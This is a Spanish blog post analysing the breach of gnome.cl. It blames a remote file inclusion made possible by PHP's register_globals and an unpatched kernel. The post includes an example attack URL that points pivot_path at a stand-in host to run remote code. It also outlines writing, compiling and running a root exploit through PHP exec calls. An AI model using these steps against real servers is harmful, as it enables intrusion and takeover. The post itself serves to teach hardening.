Muchos administradores y programadores deciden habilitar la opción de PHP que permite definir todas las variables como globales. Aunque desde hace bastante tiempo se aconseja no hacerlo, al parecer no se dimensiona el problema de seguridad que tiene. Basta analizar el caso de gnome.cl, que fue crackeado el domingo 20 de junio. Utilizaron un bug en un script de PHP del blog pivot. Sin embargo, nada hubiera pasado si en la configuración de PHP no se hubiera tenido activada la opción register_globals.

He aquí un ejemplo práctico del problema de seguridad que representa activar dicha variable.

include_once $pivot_path."modules/module_db_xml.php";

Con lo que resulta muy sencillo que el archivo a incluir sea uno remoto, simplemente definiendo en la URL la variable pivot_path. Por ejemplo:

http://victim.cl/foo/module_db.php?pivot_path=http://evil.cl/

Con lo que el archivo que se incluirá será:

http://evil.cl/modules/module_db_xml.php

El cual puede tener código malicioso que será ejecutado por el usuario que se encuentre ejecutando el servidor web en el sitio atacado.

Entre las múltiples maldades, una pudo haber sido:

• Abrir un archivo para escritura, por ejemplo, /tmp/evil.c.

• Escribir en el archivo el código del exploit, incluso puede ser a través de fputs.

• Compilar el programa desde PHP utilizando alguna función como exec, system, shell_exec u otra afín.

• Utilizar el mismo mecanismo anterior para ejecutar el programa recien compilado.

El código a compilar debe ser algún exploit, con algunas modificaciones para que posteriormente abra una puerta trasera o lo que sea. Para ello, basta probar alguno de los exploits disponibles en la red y que permiten tener acceso como root al sistema.

En Scan Edge se indica que se aprovechó un exploit conocido para la llamada al sistema mremap. Una simple búsqueda en Google permite acceder al exploit sin dramas. Este bug en el kernel fue reportado el 01 de marzo de este año.

Se ven dos errores graves y los cuales son:

• Haber habilitado register_globals, el cual en Debian (y la mayoría de las distros) viene deshabilitado por omisión.

• Correr un kernel desactualizado. La máquina tenía un uptime mayor a 300 días, por lo que claramente no tenía ninguno de los parches de seguridad aplicados. Con menor razón podría ser inmune a problemas descubiertos 3 meses atrás.

En el sitio de zone-h se pueden ver todos los sitios involucrados en el ataque, ya que estaban hospedados en la dirección IP dada a una de las máquina de gnome.cl. Se ve, que no sólo se usa para gnome.cl :-/

La seguridad de sitios como gnome.cl no debe ser tomado a la ligera, por lo que representa dentro de la comunidad de GNOME. Lecciones a aprender para quien sea el responsable de su buena administración. Los parches que solucionan los problemas de seguridad en Linux, sólo tardan horas en estar disponibles, pero si no hay preocupación por mantener los sistemas actualizados pierde todo sentido.